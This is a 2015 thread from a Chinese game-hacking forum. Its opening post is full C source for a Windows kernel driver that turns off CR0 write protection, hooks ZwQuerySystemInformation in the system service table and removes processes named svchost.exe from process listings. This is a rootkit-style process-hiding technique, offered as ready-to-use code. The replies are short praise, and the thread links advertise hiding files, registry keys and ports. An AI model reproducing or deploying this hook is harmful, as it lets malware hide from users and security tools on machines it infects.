挂海论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
 友情提示:文字/图片广告均非网站意见,请担保交易勿直接付款,由此产生的责任自负
玩游戏来117游戏网(H5不下载也能玩手游传奇,吃鸡,竞技都有)不懂社区·好资源不错过·各位资源站大佬欢迎来采集搬运IOS签名/udid证书出售/送证书加群1040456405 ██【我要租此广告位】██
... .
查看: 4050|回复: 7
打印 上一主题 下一主题

[交流] ZwQuerySystemInformation 隐藏程序进程

[复制链接]
3正式会员
298/300

298

积分

134

主题

5

听众
已帮网友解决0 个问题
好评
0
贡献
164
海币
1705
交易币
0
跳转到指定楼层
楼主
发表于 2015-2-9 23:08:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提醒:若下载的软件是收费的"请不要付款",可能是骗子,请立即联系本站举报,执意要付款被骗后本站概不负责。(任何交易请走第三方中介,请勿直接付款交易以免被骗!切记).

友情提示:文字/图片广告均非本站意见,请担保交易勿直接付款,由此产生的责任自负!!!↑↑


  1. #include "ntddk.h"
  2. #include "string.h"  

  3. #define IOCTL_EVENT_MSG   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x927, METHOD_BUFFERED , FILE_ANY_ACCESS)  
  4. #pragma warning(disable: 4047 4018)
  5. #ifdef __cplusplus
  6. extern "C"  
  7. #endif  

  8. struct _SYSTEM_THREADS  
  9. {  
  10.     LARGE_INTEGER KernelTime; //内核模式时间计数
  11.     LARGE_INTEGER UserTime;   //用户模式时间计数
  12.     LARGE_INTEGER CreateTime; //创建线程时间
  13.     ULONG WaitTime;     //等待时间
  14.     PVOID StartAddress;     //线程起始地址     
  15.     CLIENT_ID ClientIs;     //线程进程ID
  16.     KPRIORITY Priority;      //优先级
  17.     KPRIORITY BasePriority;  //基优先级
  18.     ULONG ContextSwitchCount;  //线程环境切换计数
  19.     ULONG ThreadState;     //线程状态
  20.     KWAIT_REASON WaitReason;     //线程等待原因
  21. };  

  22. struct _SYSTEM_PROCESSES  
  23. {  
  24.     ULONG NextEntryDelta;    //下一个进程信息的偏移量,如果为0表示无一个进程信息
  25.     ULONG ThreadCount;     //线程数量
  26.     ULONG Reserved[6];     //
  27.     LARGE_INTEGER CreateTime;  //创建进程的时间
  28.     LARGE_INTEGER UserTime;     //进程中所有线程在用户模式运行时间的总和
  29.     LARGE_INTEGER KernelTime;     //进程中所有线程在内核模式运行时间的总和
  30.     UNICODE_STRING ProcessName;     //进程的名字
  31.     KPRIORITY BasePriority;     //线程的缺省优先级
  32.     ULONG ProcessId;         //进程ID号     
  33.     ULONG InheritedFromProcessId;     //继承语柄的进程ID号
  34.     ULONG HandleCount;         //进程打开的语柄数量     
  35.     ULONG Reserved2[2];         //     
  36.     VM_COUNTERS VmCounters;     //虚拟内存的使用情况统计
  37.     IO_COUNTERS IoCounters;     //IO操作的统计,Only For 2000
  38.     struct _SYSTEM_THREADS Threads[1];  //描述进程中各线程的数组
  39. };  

  40. #pragma pack(1)

  41. typedef struct _ServiceDescriptorEntry {
  42.         unsigned int *ServiceTableBase;   //系统服务数组表
  43.         unsigned int *ServiceCounterTableBase; //数组使用计数
  44.         unsigned int NumberOfServices;    //服务数量
  45.         unsigned char *ParamTableBase;    //服务参数数目表
  46.     }ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

  47. #pragma pack()

  48. //系统服务表入口地址
  49. extern PServiceDescriptorTableEntry KeServiceDescriptorTable;  

  50. NTSYSAPI
  51. NTSTATUS
  52. NTAPI
  53. ZwQuerySystemInformation(
  54.         IN ULONG SystemInformationClass,   //查询系统服务类型
  55.         IN PVOID SystemInformation,        //接收系统信息缓冲区
  56.         IN ULONG SystemInformationLength,   //接收信息缓冲区大小
  57.         OUT PULONG ReturnLength);        //实际接收到的大小

  58. typedef NTSTATUS (*REALZWQUERYSYSTEMINFORMATION)
  59.             (
  60.                 IN ULONG SystemInformationClass,  
  61.                 IN PVOID SystemInformation,  
  62.                 IN ULONG SystemInformationLength,  
  63.                 OUT PULONG ReturnLength);

  64. REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;

  65. UNICODE_STRING hide_process_name;
  66. ULONG CR0VALUE;

  67. NTSTATUS HookZwQuerySystemInformation(  
  68.         IN ULONG SystemInformationClass,  
  69.         IN PVOID SystemInformation,  
  70.         IN ULONG SystemInformationLength,  
  71.         OUT PULONG ReturnLength);

  72. VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);  


  73. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)  
  74. {  

  75.      DriverObject->DriverUnload = DriverUnload;  
  76.       
  77. __asm{
  78.         mov eax, cr0  
  79.         mov CR0VALUE, eax  
  80.         and eax, 0fffeffffh  //DisableWriteProtect
  81.         mov cr0, eax  
  82.     }

  83.      
  84.     //取得原来ZwQuerySystemInformation的入口地址
  85.     RealZwQuerySystemInformation = (REALZWQUERYSYSTEMINFORMATION)( ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );

  86.     //Hook
  87.     ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = HookZwQuerySystemInformation;

  88.     //EnableWriteProtect
  89.     __asm
  90.     {
  91.         mov eax, CR0VALUE  
  92.         mov cr0, eax  
  93.     }
  94.    DbgPrint(("Driver has been Load !"));
  95.     return STATUS_SUCCESS;  
  96. }  


  97. VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)  
  98. {  
  99.      

  100. __asm{
  101.         mov eax, cr0  
  102.         mov CR0VALUE, eax  
  103.         and eax, 0fffeffffh  //DisableWriteProtect
  104.         mov cr0, eax  
  105.     }


  106. ((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;

  107.     //EnableWriteProtect
  108.     __asm
  109.     {
  110.         mov eax, CR0VALUE  
  111.         mov cr0, eax  
  112.     }


  113.      
  114.     DbgPrint(("Driver has been Unload !"));
  115.     return;

  116. }

  117. NTSTATUS HookZwQuerySystemInformation(  
  118.         IN ULONG SystemInformationClass,  
  119.         IN PVOID SystemInformation,  
  120.         IN ULONG SystemInformationLength,  
  121.         OUT PULONG ReturnLength)  
  122. {  
  123.     NTSTATUS rc;  
  124.     struct _SYSTEM_PROCESSES *curr;// 保存上一个进程信息的指针
  125.     struct _SYSTEM_PROCESSES *prev = NULL;  
  126.     RtlInitUnicodeString(&hide_process_name,L"svchost.exe");


  127.     rc = (RealZwQuerySystemInformation) (  
  128.         SystemInformationClass,  
  129.         SystemInformation,  
  130.         SystemInformationLength,  
  131.         ReturnLength);  
  132.      
  133.     if(NT_SUCCESS(rc))  
  134.     {
  135.         if(5 == SystemInformationClass)  
  136.         {  
  137.             
  138.             curr = (struct _SYSTEM_PROCESSES *)SystemInformation;  
  139.             //struct _SYSTEM_PROCESSES *prev = NULL;  
  140.             
  141.             //加第一个偏移量得到第一个system进程的信息首地址
  142.             if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  
  143.             
  144.             

  145.             while(curr)
  146.             {
  147.                 if (RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
  148.                 {
  149.                     //找到要隐藏的进程
  150.                     if(prev)  
  151.                     {  
  152.                         
  153.                         if(curr->NextEntryDelta)  
  154.                         {  
  155.                             //要删除的信息在中间
  156.                             prev->NextEntryDelta += curr->NextEntryDelta;  
  157.                         }  
  158.                         else  
  159.                         {  
  160.                             //要删除的信息在末尾
  161.                             prev->NextEntryDelta = 0;  
  162.                         }  
  163.                     }  
  164.                     else  
  165.                     {  
  166.                         if(curr->NextEntryDelta)  
  167.                         {  
  168.                             //要删除的信息在开头
  169.                             (char *)SystemInformation += curr->NextEntryDelta;  
  170.                         }  
  171.                         else  
  172.                         {  
  173.                             SystemInformation = NULL;  
  174.                         }  
  175.                     }  
  176.                     //如果链下一个还有其他的进程信息,指针往后移
  177.                     if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  
  178.                     else  
  179.                     {  
  180.                         curr = NULL;
  181.                         break;  
  182.                     }  
  183.                 }

  184.                 if(curr != NULL)  
  185.                 {  
  186.                     //把当前指针设置成前一个指针,当前指针后移
  187.                     prev = curr;  
  188.                     if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);  
  189.                     else curr = NULL;  
  190.                 }

  191.             } // end while(curr)
  192.         }
  193.     }
  194.     return rc;
  195. }
复制代码




联系我时,请说是在 挂海论坛 上看到的,谢谢!



上一篇:隐藏你程序的窗体,让其他程序不能枚举
下一篇:教你如何隐藏任意进程,目录/文件,注册表,端口
免责声明:
1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关。一切关于该内容及资源商业行为与www.52ghai.com无关。

2、本站提供的一切资源内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。

3、本站信息来自第三方用户,非本站自制,版权归原作者享有,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

4、如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵犯你版权的,请邮件与我们联系删除(邮箱:xhzlw@foxmail.com),本站将立即改正。

3正式会员
117/300

117

积分

48

主题

5

听众
已帮网友解决0 个问题
好评
0
贡献
69
海币
4050
交易币
0
沙发
发表于 2015-2-9 23:10:23 | 只看该作者
无回帖,不论坛,这才是人道。

98

积分

58

主题

8

听众
已帮网友解决0 个问题
好评
0
贡献
40
海币
3476
交易币
50
板凳
发表于 2015-3-15 21:32:05 | 只看该作者
一直在看

98

积分

58

主题

8

听众
已帮网友解决0 个问题
好评
0
贡献
40
海币
3476
交易币
50
地板
发表于 2015-3-16 01:12:54 | 只看该作者
是爷们的娘们的都帮顶!大力支持
8资深会员
1320/1800

1320

积分

286

主题

38

听众
已帮网友解决0 个问题
好评
11
贡献
1034
海币
3749
交易币
5
5#
发表于 2015-3-23 17:55:28 | 只看该作者
确实不错,顶先

50

积分

18

主题

5

听众
已帮网友解决0 个问题
好评
0
贡献
32
海币
2752
交易币
0
6#
发表于 2015-3-27 21:41:53 | 只看该作者
楼主呀,,,您太有才了。。。

15

积分

0

主题

4

听众
已帮网友解决0 个问题
好评
0
贡献
15
海币
14
交易币
0
7#
发表于 2015-4-7 22:43:21 | 只看该作者

确实不错,顶先
3正式会员
109/300

109

积分

61

主题

4

听众
已帮网友解决0 个问题
好评
0
贡献
48
海币
3026
交易币
0
8#
发表于 2015-5-6 21:34:29 | 只看该作者
回复一下 证明我来过
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

免责声明|Archiver|手机版|小黑屋|挂海论坛

GMT+8, 2025-4-5 02:06 , Processed in 0.080117 second(s), 31 queries , Gzip On.

Powered by Discuz! X3.2

本站资源来自互联网用户收集发布,如有侵权请邮件与我们联系处理。xhzlw@foxmail.com

快速回复 返回顶部 返回列表